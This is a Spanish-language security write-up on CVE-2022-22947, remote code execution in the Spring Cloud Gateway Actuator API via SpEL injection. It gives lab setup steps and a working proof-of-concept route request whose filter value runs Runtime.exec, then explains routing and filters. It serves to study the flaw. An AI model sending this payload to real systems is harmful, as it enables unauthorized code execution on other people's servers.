Análisis detallado y exploit para CVE-2022-22947, una vulnerabilidad de ejecución remota de código en Spring Cloud Gateway mediante inyección SpEL en la API Actuator. Incluye PoC, inyección de shell en memoria y desglose de la causa raíz.
Spring Cloud Gateway es un nuevo proyecto de Spring Cloud. Este proyecto es una puerta de enlace desarrollada sobre tecnologías como Spring 5.0, Spring Boot 2.0 y Project Reactor, y tiene como objetivo proporcionar una forma sencilla y eficaz de gestión unificada de rutas API para arquitecturas de microservicios. Recientemente se reveló una RCE crítica en Spring Cloud Gateway CVE. La información del CVE muestra que cuando la aplicación habilita y expone el endpoint Gateway Actuator de Spring Cloud Gateway, es vulnerable a ataques de inyección remota de código: un atacante puede enviar solicitudes maliciosas para ejecutar código arbitrario de forma remota. Las versiones afectadas actualmente son las siguientes:
Este análisis reproduce el CVE para aprender el principio de la vulnerabilidad y explorar formas de explotación más avanzadas.
Cree un proyecto Maven con las siguientes dependencias:```xml org.springframework.cloud spring-cloud-gateway-server 3.0.6 org.springframework.cloud spring-cloud-starter-gateway 3.0.6 org.springframework.boot spring-boot-starter-actuator 2.5.9
En la configuración predeterminada de Spring Boot, solo el endpoint `health` está abierto a la web; si necesita abrir `gateway`, debe configurarlo manualmente. Consulte la [documentación oficial](https://docs.spring.io/spring-boot/docs/current/reference/html/actuator.html#actuator.endpoints) y [【2】](https://docs.spring.io/spring-cloud-gateway/docs/3.0.4/reference/html/#actuator-api):```text
management.endpoint.gateway.enabled=true
management.endpoints.web.exposure.include=gateway,health
Envía el siguiente POC:```text POST /actuator/gateway/routes/test2 HTTP/1.1 Host: 127.0.0.1:9000 Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7 Connection: close Content-Length: 306 Content-Type: application/json
{ "id": "test2", "predicates": [{ "name": "Path", "args": {"_genkey_0":"/test2"} }], "filters":[{ "name": "AddResponseHeader", "args": { "name": "Result", "value": "#{T(java.lang.Runtime).getRuntime().exec("calc")}" } }], "uri": "http://127.0.0.1:9999" }]
Luego envía ```POST /actuator/gateway/refresh``` para actualizar la información de la caché de rutas y así activar el POC:
## Análisis del principio
Observando el POC anterior, primero se añade dinámicamente una ruta mediante ```POST /actuator/gateway/routes/test2```. Durante el proceso de añadir la ruta, hay un filter que, al procesar el parámetro de entrada, puede analizar ese valor como una expresión spel, y luego, al actualizar la caché de rutas, se activa la ejecución del POC.
Primero veamos el mecanismo de configuración de rutas dinámicas de Spring Cloud Gateway.
### Configuración de rutas dinámicas
Spring Cloud Gateway admite registrar rutas mediante código/archivos de configuración. Tomando como ejemplo el [demo](https://spring.io/guides/gs/gateway/) del sitio oficial:```java
@Bean
public RouteLocator myRoutes(RouteLocatorBuilder builder) {
return builder.routes()
.route(p -> p
.path("/get")
.filters(f -> f.addRequestHeader("Hello", "World"))
.uri("http://httpbin.org:80"))
.build();
}
La forma de los archivos de configuración es similar al código:```yaml application.yml spring: cloud: gateway: routes: - id: test1 uri: 目标uri predicates: - Path=/test1, filters: - StripPrefix=1
Las rutas añadidas mediante estos dos métodos son fijas; si es necesario añadir, modificar o eliminar configuraciones y reglas de rutas, se debe reiniciar la aplicación para que surtan efecto. Sin embargo, en la práctica, spring cloud gateway, al ser la puerta de entrada de todo el tráfico, debe garantizar una alta disponibilidad del sistema. Por lo tanto, una vez que spring cloud gateway expone el endpoint `/gateway`, se puede usar `/gateway/routes` para añadir, eliminar y modificar la información de rutas dinámicas. Pero la información de rutas de este método solo existe en memoria; una vez que el servicio se reinicia, la configuración de rutas recién añadida se pierde.
A partir del formato de registro de rutas anterior se puede observar que una información de ruta incluye el uri de destino, la colección de filters y la colección de predicates. Entre ellos, los predicates pueden realizar la coincidencia de solicitudes basándose en cualquier contenido de la solicitud HTTP (cabeceras, parámetros). spring cloud gateway incluye muchas clases de fábrica de route predicate integradas, como Before, After, Between, Cookie, Header, Host, [Path, etc.](https://docs.spring.io/spring-cloud-gateway/docs/3.0.4/reference/html/#gateway-request-predicates-factories).
Los filters se utilizan para modificar la solicitud o la respuesta antes o después de enviarla; también incluyen muchas colecciones de filters integrados. En el payload de ejecución de RCE anterior, el filter que usamos fue AddResponseHeader. Otros filters incluyen RewritePath, SetPath, etc. Hay dos tipos de filters: uno es el GlobalFilter, que es válido para todas las rutas, y el otro es el GatewayFilter, que solo es válido para una única ruta. Para más detalles, consulte https://www.cnblogs.com/duanxz/p/14780675.html.
,
## Flujo de la solicitud
Entonces, ¿cuál es el flujo específico cuando una solicitud llega a través del gateway hasta el servicio proxy (proxied service) en el backend? El flujo del documento oficial es el siguiente:
El cliente envía una solicitud a Spring Cloud Gateway, y en el GateWay Handler Mapping se encuentra la ruta que coincide con la solicitud, que luego se envía al GateWay Web Handler. El Handler envía la solicitud a través de la cadena de filtros especificada a nuestro servicio real, que ejecuta la lógica de negocio, y luego se devuelve la respuesta. Los filtros están separados por líneas discontinuas porque pueden ejecutar lógica de negocio antes (pre) o después (post) de enviar la solicitud de proxy.
RoutePredicateHandlerMapping busca la ruta y luego la procesa el webHandler:
En el webHandler se obtienen los gatewayFilters y los globalFilters, se ordenan según el valor de Order definido en los filters para formar una filterchain y se ejecutan todos los filters.
